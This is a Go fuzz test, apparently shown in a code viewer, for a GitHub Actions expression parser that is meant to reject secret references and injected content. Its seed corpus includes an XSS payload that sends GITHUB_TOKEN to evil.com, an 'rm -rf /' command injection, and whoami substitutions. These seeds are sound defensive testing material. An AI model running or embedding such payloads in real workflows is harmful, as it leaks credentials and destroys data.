FuzzExpressionParser performs fuzz testing on the GitHub expression parser to validate security controls against malicious expression injection attempts. The fuzzer validates that: 1. Allowed GitHub expressions are correctly accepted 2. Unauthorized expressions (secrets) are properly rejected 3. Ma
(f *testing.F)
| 17 | // 4. Parser handles all fuzzer-generated inputs without panic |
| 18 | // 5. Edge cases are handled correctly (empty, very long, nested delimiters) |
| 19 | func FuzzExpressionParser(f *testing.F) { |
| 20 | // Seed corpus with allowed GitHub expressions from security allowlist |
| 21 | // These should all pass validation |
| 22 | f.Add("This is a workflow: ${{ github.workflow }}") |
| 23 | f.Add("Repository: ${{ github.repository }}") |
| 24 | f.Add("Run ID: ${{ github.run_id }}") |
| 25 | f.Add("Actor: ${{ github.actor }}") |
| 26 | f.Add("Issue number: ${{ github.event.issue.number }}") |
| 27 | f.Add("PR number: ${{ github.event.pull_request.number }}") |
| 28 | f.Add("Task output: ${{ steps.sanitized.outputs.text }}") |
| 29 | f.Add("Step output: ${{ steps.my-step.outputs.result }}") |
| 30 | f.Add("User input: ${{ github.event.inputs.name }}") |
| 31 | f.Add("Env variable: ${{ env.MY_VAR }}") |
| 32 | f.Add("Workflow input: ${{ inputs.branch }}") |
| 33 | f.Add("Multiple: ${{ github.workflow }}, ${{ github.repository }}") |
| 34 | |
| 35 | // Complex allowed expressions with logical operators |
| 36 | f.Add("Complex: ${{ github.workflow && github.repository }}") |
| 37 | f.Add("OR expression: ${{ github.workflow || github.repository }}") |
| 38 | f.Add("NOT expression: ${{ !github.workflow }}") |
| 39 | f.Add("Nested: ${{ (github.workflow && github.repository) || github.run_id }}") |
| 40 | |
| 41 | // OR with string literals (fallback patterns) |
| 42 | f.Add("OR with single-quoted literal: ${{ inputs.repository || 'FStarLang/FStar' }}") |
| 43 | f.Add("OR with double-quoted literal: ${{ inputs.name || \"default-name\" }}") |
| 44 | f.Add("OR with backtick literal: ${{ inputs.config || `default-config` }}") |
| 45 | f.Add("OR with number literal: ${{ inputs.count || 42 }}") |
| 46 | f.Add("OR with boolean literal: ${{ inputs.flag || true }}") |
| 47 | f.Add("Complex OR with nested quotes: ${{ inputs.repo || 'owner/repo' }}") |
| 48 | f.Add("Multiple OR with literals: ${{ inputs.a || 'default-a' || inputs.b || 'default-b' }}") |
| 49 | f.Add("OR with special chars in literal: ${{ inputs.path || '/default/path' }}") |
| 50 | f.Add("OR with escaped quotes: ${{ inputs.text || 'don\\'t panic' }}") |
| 51 | |
| 52 | // Seed corpus with potentially malicious injection attempts |
| 53 | // These should all fail validation |
| 54 | f.Add("Token injection: ${{ secrets.GITHUB_TOKEN }}") |
| 55 | f.Add("Secret injection: ${{ secrets.API_KEY }}") |
| 56 | f.Add("Secret with underscores: ${{ secrets.MY_SECRET_KEY }}") |
| 57 | f.Add("Mixed valid and invalid: ${{ github.workflow }} and ${{ secrets.TOKEN }}") |
| 58 | |
| 59 | // Script tag injection attempts |
| 60 | f.Add("Script tag: ${{ github.workflow }}<script>alert('xss')</script>") |
| 61 | f.Add("Inline script: <script>fetch('evil.com?token=${{ secrets.GITHUB_TOKEN }}')</script>") |
| 62 | |
| 63 | // Command injection patterns |
| 64 | f.Add("Command injection: ${{ github.workflow }}; rm -rf /") |
| 65 | f.Add("Backticks: ${{ github.workflow }}`whoami`") |
| 66 | f.Add("Dollar paren: ${{ github.workflow }}$(whoami)") |
| 67 | |
| 68 | // Edge cases with empty or malformed expressions |
| 69 | f.Add("Empty expression: ${{ }}") |
| 70 | f.Add("Just whitespace: ${{ }}") |
| 71 | f.Add("No content between braces") |
| 72 | f.Add("Single brace: ${ github.workflow }") |
| 73 | f.Add("No closing: ${{ github.workflow") |
| 74 | f.Add("No opening: github.workflow }}") |
| 75 | f.Add("Reversed braces: }}{{ github.workflow") |
| 76 |
nothing calls this directly
no test coverage detected